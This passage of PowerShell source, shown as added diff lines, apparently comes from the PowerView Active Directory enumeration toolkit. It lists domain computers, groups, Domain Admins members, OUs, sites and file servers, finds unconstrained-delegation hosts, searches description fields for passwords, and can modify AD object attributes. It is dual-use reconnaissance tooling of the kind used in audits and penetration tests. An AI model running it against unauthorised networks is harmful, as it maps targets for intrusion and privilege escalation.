+ Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetComputer + + Returns the current computers in current domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -SPN mssql* + + Returns all MS SQL servers on the domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing + + Returns the current computers in 'testing' domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing -FullData + + Returns full computer objects in the 'testing' domain. + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem, + + [String] + $ServicePack, + + [String] + $Filter, + + [Switch] + $Printers, + + [Switch] + $Ping, + + [Switch] + $FullData, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + + if ($CompSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Searching for computers with for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + # set the filters for the seracher if it exists + if($Printers) { + Write-Verbose "Searching for printers" + # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" + $Filter += "(objectCategory=printQueue)" + } + if($SPN) { + Write-Verbose "Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if($OperatingSystem) { + $Filter += "(operatingsystem=$OperatingSystem)" + } + if($ServicePack) { + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + + $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + + try { + + $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Up = $True + if($Ping) { + # TODO: how can these results be piped to ping for a speedup? + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if($Up) { + # return full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the DNS host name + $_.properties.dnshostname + } + } + } + } + catch { + Write-Warning "Error: $_" + } + } + } +} + + +function Get-ADObject { +<# + .SYNOPSIS + + Takes a domain SID and returns the user, group, or computer object + associated with it. + + .PARAMETER SID + + The SID of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Filter + + Additional LDAP filter string for the query. + + .PARAMETER ReturnRaw + + Switch. Return the raw object instead of translating its properties. + Used by Set-ADObject to modify object properties. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + + Get the domain object associated with the specified SID. + + .EXAMPLE + + PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" + + Get the AdminSDHolder object for the testlab.local domain. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SID, + + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $ReturnRaw, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + process { + if($SID) { + # if a SID is passed, try to resolve it to a reachable domain name for the searcher + try { + $Name = Convert-SidToName $SID + if($Name) { + $Canonical = Convert-NT4toCanonical -ObjectName $Name + if($Canonical) { + $Domain = $Canonical.split("/")[0] + } + else { + Write-Warning "Error resolving SID '$SID'" + return $Null + } + } + } + catch { + Write-Warning "Error resolving SID '$SID' : $_" + return $Null + } + } + + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($ObjectSearcher) { + + if($SID) { + $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" + } + elseif($Name) { + $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + } + elseif($SamAccountName) { + $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + } + + $ObjectSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if($ReturnRaw) { + $_ + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } + } +} + + +function Set-ADObject { +<# + .SYNOPSIS + + Takes a SID, name, or SamAccountName to query for a specified + domain object, and then sets a specified 'PropertyName' to a + specified 'PropertyValue'. + + .PARAMETER SID + + The SID of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PropertyName + + The property name to set. + + .PARAMETER PropertyValue + + The value to set for PropertyName + + .PARAMETER PropertyXorValue + + Integer calue to binary xor (-bxor) with the current int value. + + .PARAMETER ClearValue + + Switch. Clear the value of PropertyName + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 + + Set the countrycode for matt.admin to 0 +#> + + [CmdletBinding()] + Param ( + [String] + $SID, + + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [Parameter(Mandatory = $True)] + [String] + $PropertyName, + + $PropertyValue, + + [Int] + $PropertyXorValue, + + [Switch] + $ClearValue, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Arguments = @{ + 'SID' = $SID + 'Name' = $Name + 'SamAccountName' = $SamAccountName + 'Domain' = $Domain + 'DomainController' = $DomainController + 'PageSize' = $PageSize + } + # splat the appropriate arguments to Get-ADObject + $RawObject = Get-ADObject -ReturnRaw @Arguments + + try { + # get the modifiable object for this search result + $Entry = $RawObject.GetDirectoryEntry() + + # if the property name doesn't already exist + if(!$Entry.$PropertyName) { + $Entry.put($PropertyName, $PropertyValue) + $Entry.setinfo() + } + + else { + if($ClearValue) { + # remove the value fromt the entry + Write-Verbose "Clearing value" + $Entry.$PropertyName.clear() + } + else { + # resolve this property's type name so as can properly set it + $TypeName = $Entry.$PropertyName[0].GetType().name + + # if we're binary-or'ing the current value + if($PropertyXorValue) { + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + } + + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + + $Entry.commitchanges() + } + } + catch { + Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" + } +} + + +function Get-ComputerProperty { +<# + .SYNOPSIS + + Returns a list of all computer object properties. If a property + name is specified, it returns all [computer:property] values. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER Properties + + Return property names for computers. + + .PARAMETER Domain + + The domain to query for computer properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Domain testing + + Returns all user properties for computers in the 'testing' domain. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location + + Returns all an array of computer/ssn/lastlogin/location combinations + for computers in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> + + [CmdletBinding()] + param( + [String[]] + $Properties, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties | Sort-Object -Unique + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties + } + else { + # extract out just the property names + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + } +} + + +function Find-ComputerField { +<# + .SYNOPSIS + + Searches computer object fields for a given word (default *pass*). Default + field being searched is 'description'. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER SearchTerm + + Term to search for, default of "pass". + + .PARAMETER SearchField + + User field to search in, default of "description". + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Domain + + Domain to search computer fields for, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-ComputerField -SearchTerm backup -SearchField info + + Find computer accounts with "backup" in the "info" field. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Term')] + [String] + $SearchTerm = 'pass', + + [Alias('Field')] + [String] + $SearchField = 'description', + + [String] + $ADSpath, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + } +} + + +function Get-NetOU { +<# + .SYNOPSIS + + Gets a list of all current OUs in a domain. + + .PARAMETER OUName + + The OU name to query for, wildcards accepted. + + .PARAMETER GUID + + Only return OUs with the specified GUID in their gplink property. + + .PARAMETER Domain + + The domain to query for OUs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER FullData + + Switch. Return full OU objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetOU + + Returns the current OUs in the domain. + + .EXAMPLE + + PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local + + Returns all OUs with "admin" in their name in the testlab.local domain. + + .EXAMPLE + + PS C:\> Get-NetOU -GUID 123-... + + Returns all OUs with linked to the specified group policy object. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $OUName = '*', + + [String] + $GUID, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + process { + if ($OUSearcher) { + if ($GUID) { + # if we're filtering for a GUID in .gplink + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" + } + else { + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" + } + + $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } + } + } + } +} + + +function Get-NetSite { +<# + .SYNOPSIS + + Gets a list of all current sites in a domain. + + .PARAMETER SiteName + + Site filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for sites, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER GUID + + Only return site with the specified GUID in their gplink property. + + .PARAMETER FullData + + Switch. Return full site objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetSite -Domain testlab.local -FullData + + Returns the full data objects for all sites in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $GUID, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + } + process { + if($SiteSearcher) { + + if ($GUID) { + # if we're filtering for a GUID in .gplink + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + } + else { + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" + } + + try { + $SiteSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just return the site name + $_.properties.name + } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Get-NetSubnet { +<# + .SYNOPSIS + + Gets a list of all current subnets in a domain. + + .PARAMETER SiteName + + Only return subnets from the specified SiteName. + + .PARAMETER Domain + + The domain to query for subnets, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER FullData + + Switch. Return full subnet objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetSubnet + + Returns all subnet names in the current domain. + + .EXAMPLE + + PS C:\> Get-NetSubnet -Domain testlab.local -FullData + + Returns the full data objects for all subnets in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, + + [String] + $ADSpath, + + [String] + $DomainController, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + } + + process { + if($SubnetSearcher) { + + $SubnetSearcher.filter="(&(objectCategory=subnet))" + + try { + $SubnetSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } + } + else { + # otherwise just return the subnet name and site name + if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { + + $SubnetProperties = @{ + 'Subnet' = $_.properties.name[0] + } + try { + $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] + } + catch { + $SubnetProperties['Site'] = 'Error' + } + + New-Object -TypeName PSObject -Property $SubnetProperties + } + } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Get-DomainSID { +<# + .SYNOPSIS + + Gets the SID for the domain. + + .PARAMETER Domain + + The domain to query, defaults to the current domain. + + .EXAMPLE + + C:\> Get-DomainSID -Domain TEST + + Returns SID for the domain 'TEST' +#> + + param( + [String] + $Domain + ) + + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + # query for the primary domain controller so we can extract the domain SID for filtering + $PrimaryDC = $FoundDomain.PdcRoleOwner + $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid + $Parts = $PrimaryDCSID.split("-") + $Parts[0..($Parts.length -2)] -join "-" + } +} + + +function Get-NetGroup { +<# + .SYNOPSIS + + Gets a list of all current groups in a domain, or all + the groups a given user/group object belongs to. + + .PARAMETER GroupName + + The group name to query for, wildcards accepted. + + .PARAMETER SID + + The group SID to query for. + + .PARAMETER UserName + + The user name (or group name) to query for all effective + groups of. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Domain + + The domain to query for groups, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER AdminCount + + Switch. Return group with adminCount=1. + + .PARAMETER FullData + + Switch. Return full group objects instead of just object names (the default). + + .PARAMETER RawSids + + Switch. Return raw SIDs when using "Get-NetGroup -UserName X" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGroup + + Returns the current groups in the domain. + + .EXAMPLE + + PS C:\> Get-NetGroup -GroupName *admin* + + Returns all groups with "admin" in their group name. + + .EXAMPLE + + PS C:\> Get-NetGroup -Domain testing -FullData + + Returns full group data objects in the 'testing' domain +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName = '*', + + [String] + $SID, + + [String] + $UserName, + + [String] + $Filter, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $AdminCount, + + [Switch] + $FullData, + + [Switch] + $RawSids, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if($GroupSearcher) { + + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + if ($UserName) { + # get the raw user object + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize + + # convert the user to a directory entry + $UserDirectoryEntry = $User.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user + $UserDirectoryEntry.RefreshCache("tokenGroups") + + $UserDirectoryEntry.TokenGroups | Foreach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in users and default domain user group + if(!($GroupSid -match '^S-1-5-32-545|-513$')) { + if($FullData) { + Get-ADObject -SID $GroupSid -PageSize $PageSize + } + else { + if($RawSids) { + $GroupSid + } + else { + Convert-SidToName $GroupSid + } + } + } + } + } + else { + if ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + } + + $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # if we're returning full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the group name + $_.properties.samaccountname + } + } + } + } + } +} + + +function Get-NetGroupMember { +<# + .SYNOPSIS + + This function users [ADSI] and LDAP to query the current AD context + or trusted domain for users in a specified group. If no GroupName is + specified, it defaults to querying the "Domain Admins" group. + This is a replacement for "net group 'name' /domain" + + .PARAMETER GroupName + + The group name to query for users. + + .PARAMETER SID + + The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Domain + + The domain to query for group users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER FullData + + Switch. Returns full data objects instead of just group/users. + + .PARAMETER Recurse + + Switch. If the group member is a group, recursively try to query its members as well. + + .PARAMETER UseMatchingRule + + Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. + Much faster than manual recursion, but doesn't reveal cross-domain groups. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGroupMember + + Returns the usernames that of members of the "Domain Admins" domain group. + + .EXAMPLE + + PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" + + Returns the usernames that of members of the "Power Users" group in the 'testing' domain. + + .LINK + + http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName, + + [String] + $SID, + + [String] + $Domain = (Get-NetDomain).Name, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [Switch] + $Recurse, + + [Switch] + $UseMatchingRule, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if(!$DomainController) { + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + } + + process { + + if ($GroupSearcher) { + + if ($Recurse -and $UseMatchingRule) { + # resolve the group to a distinguishedname + if ($GroupName) { + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize + } + elseif ($SID) { + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + } + $GroupDN = $Group.distinguishedname + $GroupFoundName = $Group.name + + if ($GroupDN) { + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + + $Members = $GroupSearcher.FindAll() + $GroupFoundName = $GroupName + } + else { + Write-Error "Unable to find Group" + } + } + else { + if ($GroupName) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + } + elseif ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + + $GroupSearcher.FindAll() | ForEach-Object { + try { + if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } + + $GroupFoundName = $_.properties.name[0] + $Members = @() + + if ($_.properties.member.Count -eq 0) { + $Finished = $False + $Bottom = 0 + $Top = 0 + while(!$Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $GroupSearcher.PropertiesToLoad.Clear() + [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") + try { + $Result = $GroupSearcher.FindOne() + if ($Result) { + $RangedProperty = $_.Properties.PropertyNames -like "member;range=*" + $Results = $_.Properties.item($RangedProperty) + if ($Results.count -eq 0) { + $Finished = $True + } + else { + $Results | ForEach-Object { + $Members += $_ + } + } + } + else { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $Members = $_.properties.member + } + } + catch { + Write-Verbose $_ + } + } + } + + $Members | Where-Object {$_} | ForEach-Object { + # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + if($DomainController) { + $Result = [adsi]"LDAP://$DomainController/$_" + } + else { + $Result = [adsi]"LDAP://$_" + } + if($Result){ + $Properties = $Result.Properties + } + } + + if($Properties) { + + if($Properties.samaccounttype -match '268435456') { + $IsGroup = $True + } + else { + $IsGroup = $False + } + + if ($FullData) { + $GroupMember = Convert-LDAPProperty -Properties $Properties + } + else { + $GroupMember = New-Object PSObject + } + + $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + + try { + $MemberDN = $Properties.distinguishedname[0] + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties.cn[0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn + } + } + + if($Properties.objectSid) { + $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + } + else { + $MemberSid = $Null + } + + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid + $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN + $GroupMember + + # if we're doing manual recursion + if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize + } + } + + } + } + } +} + + +function Get-NetFileServer { +<# + .SYNOPSIS + + Returns a list of all file servers extracted from user + homedirectory, scriptpath, and profilepath fields. + + .PARAMETER Domain + + The domain to query for user file servers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER TargetUsers + + An array of users to query for file servers. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetFileServer + + Returns active file servers. + + .EXAMPLE + + PS C:\> Get-NetFileServer -Domain testing + + Returns active file servers for the 'testing' domain. +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String[]] + $TargetUsers, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function SplitPath { + # short internal helper to split UNC server paths + param([String]$Path) + + if ($Path -and ($Path.split("\\").Count -ge 3)) { + $Temp = $Path.split("\\")[2] + if($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object { + # filter for any target users + if($TargetUsers) { + $TargetUsers -Match $_.samAccountName + } + else { $True } + } | Foreach-Object { + # split out every potential file server path + if($_.homedirectory) { + SplitPath($_.homedirectory) + } + if($_.scriptpath) { + SplitPath($_.scriptpath) + } + if($_.profilepath) { + SplitPath($_.profilepath) + } + + } | Where-Object {$_} | Sort-Object -Unique +} + + +function Get-DFSshare { +<# + .SYNOPSIS + + Returns a list of all fault-tolerant distributed file + systems for a given domain. + + .PARAMETER Version + + The version of DFS to query for servers. + 1/v1, 2/v2, or all + + .PARAMETER Domain + + The domain to query for user DFS shares, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-DFSshare + + Returns all distributed file system shares for the current domain. + + .EXAMPLE + + PS C:\> Get-DFSshare -Domain test + + Returns all distributed file system shares for the 'test' domain. +#> + + [CmdletBinding()] + param( + [String] + [ValidateSet("All","V1","1","V2","2")] + $Version = "All", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-DFSshareV1 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=fTDfs))" + + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing DFS share : $_" + } + } + } + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Property "RemoteServerName" + } + } + + function Get-DFSshareV2 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" + $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = 